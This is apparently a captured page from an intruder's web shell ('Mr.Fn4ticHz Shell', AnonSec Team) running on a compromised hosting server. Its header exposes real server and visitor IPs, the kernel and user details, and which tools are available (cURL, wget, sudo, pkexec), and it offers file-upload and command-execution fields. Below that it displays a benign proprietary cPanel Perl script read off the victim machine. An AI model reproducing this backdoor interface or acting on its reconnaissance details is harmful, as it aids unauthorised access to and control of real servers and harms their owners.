Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.143.203.96
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /scripts/mkwwwacctconf
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/mkwwwacctconf                   Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use Cpanel::Config::SaveWwwAcctConf ();
use Cpanel::Config::LoadWwwAcctConf ();
use Cpanel::DIp::MainIP             ();
use Cpanel::Hostname                ();
use Whostmgr::TweakSettings::Basic  ();

my $reset   = @ARGV && grep( /^--(?:reset|force)$/, @ARGV ) ? 1 : 0;
my $inherit = ( grep { $_ eq '--inherit' } @ARGV )          ? 1 : 0;

my $wwwacctconf = '/etc/wwwacct.conf';
my %cur_conf    = Cpanel::Config::LoadWwwAcctConf::loadwwwacctconf();

# Don't clobber a valid config
if ( !$reset && -e $wwwacctconf ) {
    exit if ( $cur_conf{'DEFMOD'} || $cur_conf{'NS'} || $cur_conf{'HOST'} );    # Check to see if some common settings are configured
}

my $hostname = Cpanel::Hostname::gethostname();
my $sharedip = Cpanel::DIp::MainIP::getmainserverip();

# Sanity check
if ( !$sharedip ) {
    die 'Unable to determine main shared IP.';
}

# default nameserver entries
my @hostnameparts = split /[.]/, $hostname;
shift @hostnameparts;
my $hostnamedomain = join '.', @hostnameparts;
my $ns             = 'ns1.' . $hostnamedomain;
my $ns2            = 'ns2.' . $hostnamedomain;

my $conf_hostname = ( $hostname && $hostname =~ m{\.} ) ? $hostname : q{};
my $conf_ns       = $conf_hostname                      ? $ns       : q{};
my $conf_ns2      = $conf_hostname                      ? $ns2      : q{};

my %system_specific_values = (
    'ADDR' => $sharedip,
    'HOST' => $conf_hostname,
    'NS'   => $conf_ns,
    'NS2'  => $conf_ns2,
);

my %conf;
for my $key ( keys %Whostmgr::TweakSettings::Basic::Conf ) {
    my $default = $Whostmgr::TweakSettings::Basic::Conf{$key}->{'default'};

    if ( !defined($default) ) {
        $conf{$key} = $inherit ? $cur_conf{$key} : q{};
    }
    elsif ( ref $default eq 'CODE' ) {
        $conf{$key} = $default->();
    }
    else {
        $conf{$key} = $default;
    }
}

@conf{ keys %system_specific_values } = values %system_specific_values;

Cpanel::Config::SaveWwwAcctConf::savewwwacctconf( \%conf );

Anon7 - 2022
AnonSec Team